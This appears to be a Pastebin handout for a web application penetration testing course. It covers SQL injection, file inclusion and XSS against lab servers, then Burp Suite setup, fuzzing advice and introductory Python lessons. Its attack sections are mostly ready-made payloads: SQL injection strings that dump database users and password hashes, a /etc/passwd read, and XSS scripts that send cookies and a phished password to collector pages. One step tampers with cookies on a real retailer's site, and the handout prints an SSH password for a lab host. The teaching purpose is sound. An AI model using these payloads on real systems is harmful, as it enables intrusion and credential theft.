Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ################################
- ----------- ############### # Advanced Web App Pentesting ############### -----------
- ################################
- ##########################
- ----------- ############### # Day 1: Manual Testing ############### -----------
- ##########################
- ##################################
- # Basic: Web Application Testing #
- ##################################
- Most people are going to tell you reference the OWASP Testing guide.
- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
- I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
- The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
- 1. Does the website talk to a DB?
- - Look for parameter passing (ex: site.com/page.php?id=4)
- - If yes - try SQL Injection
- 2. Can I or someone else see what I type?
- - If yes - try XSS
- 3. Does the page reference a file?
- - If yes - try LFI/RFI
- Let's start with some manual testing against 45.63.104.73
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- http://45.63.104.73/
- Clicking on the Acer Link:
- http://45.63.104.73/acre2.php?lap=acer
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer'
- -----------------------------------------------------------------------
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '100' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '50' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '25' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '12' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
- -----------------------------------------------------------------------
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- -----------------------------------------------------------------------
- Now we negate the parameter value 'acer' by turning into the word 'null':
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- -----------------------------------------------------------------------
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- -----------------------------------------------------------------------
- ########################
- # Question I get a lot #
- ########################
- Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
- Here is a good reference for it:
- https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
- Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
- #########################
- # File Handling Attacks #
- #########################
- Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/showfile.php?filename=about.txt
- -----------------------------------------------------------------------
- See if you can read files on the file system:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/showfile.php?filename=/etc/passwd
- -----------------------------------------------------------------------
- We call this attack a Local File Include or LFI.
- Now let's find some text out on the internet somewhere:
- https://www.gnu.org/software/hello/manual/hello.txt
- Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
- -----------------------------------------------------------------------
- #########################################################################################
- # SQL Injection #
- # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
- #########################################################################################
- - Another quick way to test for SQLI is to remove the paramter value
- #############################
- # Error-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- -----------------------------------------------------------------------
- #############################
- # Union-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
- http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- -----------------------------------------------------------------------
- - Another way is to see if you can get the backend to perform an arithmetic function
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=(2)
- http://45.77.162.239/bookdetail.aspx?id=(4-2)
- http://45.77.162.239/bookdetail.aspx?id=(4-1)
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
- http://45.77.162.239/bookdetail.aspx?id=1*1
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
- http://45.77.162.239/bookdetail.aspx?id=2 &0#
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
- -----------------------------------------------------------------------
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- -----------------------------------------------------------------------
- Let's go for a quick check to see if it's DBO
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- -----------------------------------------------------------------------
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- ---------------------------Type This-----------------------------------
- D - 1st Character
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- -----------------------------------------------------------------------
- ################################
- # Playing with session cookies #
- ################################
- -----------------------------------------------------------------------
- Step 1: Browse to NewEgg.com
- -------------------------Paste this into Firefox-----------------------------------
- https://secure.newegg.com/
- ----------------------------------------------------------------------------------
- Step 2: Browse to the shopping cart page NewEgg.com
- -------------------------Paste this into Firefox-----------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ----------------------------------------------------------------------------------
- Step 3: View the current session ID
- -------------------------Paste this into Firefox-----------------------------------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- Step 4: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 5: Now let's modify the session ID
- -------------------------Paste this into Firefox-----------------------------------
- javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
- ------------------------------------------------------------------------------------
- Step 6: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 7: View the current session ID
- -------------------------Paste this into Firefox-----------------------------------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- -----------------------------------------------------------------------
- ###########################################
- # What is XSS #
- # http://45.63.104.73/2-Intro_To_XSS.pptx #
- ###########################################
- OK - what is Cross Site Scripting (XSS)
- 1. Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/
- -----------------------------------------------------------------------
- A really simple search page that is vulnerable should come up.
- 2. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert('So this is XSS')</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 3. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert(document.cookie)</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 4. Now replace that alert script with:
- ---------------------------Type This-----------------------------------
- <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
- -----------------------------------------------------------------------
- This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
- 5. Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/cookie_stealer_logs.html
- -----------------------------------------------------------------------
- The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
- ############################
- # A Better Way To Demo XSS #
- ############################
- Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/
- -----------------------------------------------------------------------
- Paste this in the search box
- ----------------------------
- ---------------------------Type This-----------------------------------
- <script>
- password=prompt('Your session is expired. Please enter your password to continue',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
- </script>
- -----------------------------------------------------------------------
- Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/passwords.html
- -----------------------------------------------------------------------
- ############################################
- ----------- ############### # Day 2: Web Proxies & Bug Bounty Programs ############### -----------
- ############################################
- #########################
- # Setting up Burp Suite #
- #########################
- Download the latest free version of FoxyProxy at https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
- Download the latest free version of Burp at https://portswigger.net/burp/freedownload
- Be sure to download the appropriate version for your computer system/OS.
- Download Burp Suite Community Edition v2.1.01 for Windows (64-bit), and double click on the exe to install, and desktop icon to run.
- - Click the "Proxy" tab
- - Click the "Options" sub tab
- - Click “Edit” in the “Proxy Listeners” section
- - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
- - In the same pop up make sure that the bind port is 8080
- - In the same pop up select the “Certificate” tab
- - Ensure that burp is configured to "generate CA-signed per-host certificates"
- Open Firefox
- - Click "Tools"
- - Click “Options"
- - Click the "General" tab
- - Click the "Network settings" sub tab
- - Click the connection "settings" button
- - Click "manual proxy configuration"
- set it to 127.0.0.1 port 8080
- check "Use this proxy server for all protocols"
- - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
- Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
- Visit any SSL-protected URL.
- On the “This Connection is Untrusted” screen, click on “Add Exception”
- Click "Get Certificate", then click "View".
- In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
- Click "Export" and save the certificate as "BurpCert" on the Desktop.
- Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
- Firefox
- - Click "Tools"
- - Click “Options"
- - Go to "Privacy & Security"
- - go to “Certificates” sub tab
- - Click “View Certificates”
- Click "Import" and select the certificate file that you previously saved.
- On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
- Close all dialogs and restart Firefox
- ###############################################################
- # Question 1: What is the process that you use when you test? #
- ###############################################################
- Step 1: Automated Testing
- Step 1a: Web Application vulnerability scanners
- -----------------------------------------------
- - Run two (2) unauthenticated vulnerability scans against the target
- - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
- - Run two (2) authenticated vulnerability scans against the target with admin privileges
- The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
- A good web application vulnerability scanner comparison website is here:
- http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
- Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
- Also, be sure to save the scan results and logs. I usually provide this data to the customer.
- Step 1b: Directory Brute Forcer
- -------------------------------
- I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
- Step 2: Manual Testing
- Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
- Step 2a: Spider/Scan the entire site with Burp Suite
- Save the spider and scan results. I usually provide this data to the customer as well.
- Step 2b: Browse through the site using the 3 question method
- Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
- Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
- Here is what I mean:
- http://www.site.com/page.aspx?parametername=parametervalue
- When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
- http://www.site.com/page.aspx?parametername=[ payload ]
- You need to ensure that you send the payload this way, and like this below:
- http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
- This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
- ###########################################
- # Question 2: How much fuzzing is enough? #
- ###########################################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- #######################
- # Bug Bounty Programs #
- #######################
- https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65
- ############################
- # Bug Hunter's Methodology #
- ############################
- https://www.youtube.com/watch?v=C4ZHAdI8o1w
- https://www.youtube.com/watch?v=-FAjxUOKbdI
- #################################
- ----------- ############### # Day 3: WebApp Sec with Python ############### -----------
- #################################
- #########################
- # Connect to the server #
- #########################
- Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
- You can download Putty from here:
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
- server ip: 107.191.39.106
- protocol: ssh
- port: 22
- username: hca
- password: PartFowl!@#4321
- ####################################
- # Python Lesson 1: Simple Printing #
- ####################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> print ("Today we are learning Python.")
- >>> exit()
- -----------------------------------------------------------------------
- ############################################
- # Python Lesson 2: Simple Numbers and Math #
- ############################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> 2+2
- >>> 6-3
- >>> 18/7
- >>> 18.0/7
- >>> 18.0/7.0
- >>> 18/7
- >>> 9%4
- 1
- >>> 8%4
- 0
- >>> 8.75%.5
- >>> 6.*7
- >>> 6*6*6
- >>> 6**3
- >>> 5**12
- >>> -5**4
- >>> exit()
- -----------------------------------------------------------------------
- ##############################
- # Python Lesson 3: Variables #
- ##############################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> x=18
- >>> x+15
- >>> x**3
- >>> y=54
- >>> g=int(input("Enter number here: "))
- Enter number here: 43
- >>> g
- >>> g+32
- >>> g**3
- >>> exit()
- -----------------------------------------------------------------------
- ##########################################
- # Python Lesson 4: Modules and Functions #
- ##########################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> 5**4
- >>> pow(5,4)
- >>> abs(-18)
- >>> abs(5)
- >>> floor(18.7)
- >>> import math
- >>> math.floor(18.7)
- >>> math.sqrt(81)
- >>> joe = math.sqrt
- >>> joe(9)
- >>> joe=math.floor
- >>> joe(19.8)
- >>> exit()
- -----------------------------------------------------------------------
- ############################
- # Python Lesson 5: Strings #
- ############################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> "XSS"
- >>> 'SQLi'
- >>> "Joe's a python lover"
- >>> "Joe said \"InfoSec is fun\" to me"
- >>> a = "Joe"
- >>> b = "McCray"
- >>> a, b
- >>> a+b
- >>> exit()
- -----------------------------------------------------------------------
- #################################
- # Python Lesson 6: More Strings #
- #################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> num = 10
- >>> num + 2
- >>> "The number of open ports found on this system is ", num
- >>> num = str(18)
- >>> "There are ", num, " vulnerabilities found in this environment."
- >>> num2 = 46
- >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
- >>> exit()
- -----------------------------------------------------------------------
- ########################################
- # Python Lesson 7: Sequences and Lists #
- ########################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks
- ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks[3]
- 'SQL Injection'
- >>> attacks[-2]
- 'Cross-Site Scripting'
- >>> exit()
- ##################################
- # Level 8: Intro to Log Analysis #
- ##################################
- Log into your Linux host then execute the following commands:
- -----------------------------------------------------------------------
- NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
- ---------------------------Type This-----------------------------------
- mkdir yourname <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
- cd yourname
- wget http://pastebin.com/raw/85zZ5TZX
- mv 85zZ5TZX access_log
- cat access_log | grep 141.101.80.188
- cat access_log | grep 141.101.80.187
- cat access_log | grep 108.162.216.204
- cat access_log | grep 173.245.53.160
- ----------------------------------------------------------------------
- Google the following terms:
- - Python read file
- - Python read line
- - Python read from file
- ###############################################################
- # Python Lesson 9: Use Python to read in a file line by line #
- ###############################################################
- Reference:
- http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
- ---------------------------Type This-----------------------------------
- nano logread1.py
- ---------------------------Paste This-----------------------------------
- ## Open the file with read only permit
- f = open('access_log', "r")
- ## use readlines to read all lines in the file
- ## The variable "lines" is a list containing all lines
- lines = f.readlines()
- print (lines)
- ## close the file after reading the lines.
- f.close()
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 logread1.py
- ----------------------------------------------------------------------
- Google the following:
- - python difference between readlines and readline
- - python readlines and readline
- Here is one student's solution - can you please explain each line of this code to me?
- ---------------------------Type This-----------------------------------
- nano ip_search.py
- ---------------------------Type This-----------------------------------
- nano ip_search.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- f = open('access_log')
- strUsrinput = input("Enter IP Address: ")
- for line in iter(f):
- ip = line.split(" - ")[0]
- if ip == strUsrinput:
- print (line)
- f.close()
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 ip_search.py
- ----------------------------------------------------------------------
- Working with another student after class we came up with another solution:
- ---------------------------Type This-----------------------------------
- nano ip_search2.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python
- # This line opens the log file
- f=open('access_log',"r")
- # This line takes each line in the log file and stores it as an element in the list
- lines = f.readlines()
- # This lines stores the IP that the user types as a var called userinput
- userinput = input("Enter the IP you want to search for: ")
- # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
- for ip in lines:
- if ip.find(userinput) != -1:
- print (ip)
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 ip_search2.py
- ----------------------------------------------------------------------
- ################################
- # Lesson 10: Parsing CSV Files #
- ################################
- Dealing with csv files
- Reference:
- http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
- Type the following commands:
- ---------------------------------------------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- wget http://45.63.104.73/class_nessus.csv
- ----------------------------------------------------------------------
- Example 1 - Reading CSV files
- -----------------------------
- #To be able to read csv formated files, we will first have to import the
- #csv module.
- ---------------------------Type This-----------------------------------
- $ python3
- f = open('class_nessus.csv', 'rb')
- for row in f:
- print (row)
- ----------------------------------------------------------------------
- Example 2 - Reading CSV files
- -----------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- f = open('class_nessus.csv', 'rb') # opens the csv file
- try:
- for row in f: # iterates the rows of the file in orders
- print (row) # prints each row
- finally:
- f.close() # closing
- ----------------------------------------------------------------------
- Ok, now let's run this thing.
- --------------------------Type This-----------------------------------
- $ python3 readcsv.py
- $ python3 readcsv.py class_nessus.csv
- ----------------------------------------------------------------------
- Example 3 - - Reading CSV files
- -------------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv2.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/python3
- # This program will then read it and displays its contents.
- import csv
- ifile = open('class_nessus.csv', "r")
- reader = csv.reader(ifile)
- rownum = 0
- for row in reader:
- # Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- for col in row:
- print ('%-8s: %s' % (header[colnum], col))
- colnum += 1
- rownum += 1
- ifile.close()
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 readcsv2.py | less
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv3.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/python3
- import csv
- f = open('class_nessus.csv', 'r')
- try:
- rownum = 0
- reader = csv.reader(f)
- for row in reader:
- #Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- if row[3].lower() == 'high':
- print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
- rownum += 1
- finally:
- f.close()
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 readcsv3.py | less
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv4.py
- -----------------------------------------------------------------------
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/python3
- import csv
- f = open('class_nessus.csv', 'r')
- try:
- print ('/---------------------------------------------------/')
- rownum = 0
- hosts = {}
- reader = csv.reader(f)
- for row in reader:
- # Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- if row[3].lower() == 'high' and row[4] not in hosts:
- hosts[row[4]] = row[4]
- print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
- rownum += 1
- finally:
- f.close()
- ----------------------------------------------------------------------
- $ python3 readcsv4.py | less
- ----------------------------------------------------------------------
- #######################
- # Regular Expressions #
- #######################
- **************************************************
- * What is Regular Expression and how is it used? *
- **************************************************
- Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
- Regular expressions use two types of characters:
- a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
- b) Literals (like a,b,1,2…)
- In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
- Use this code --> import re
- The most common uses of regular expressions are:
- --------------------------------------------------
- - Search a string (search and match)
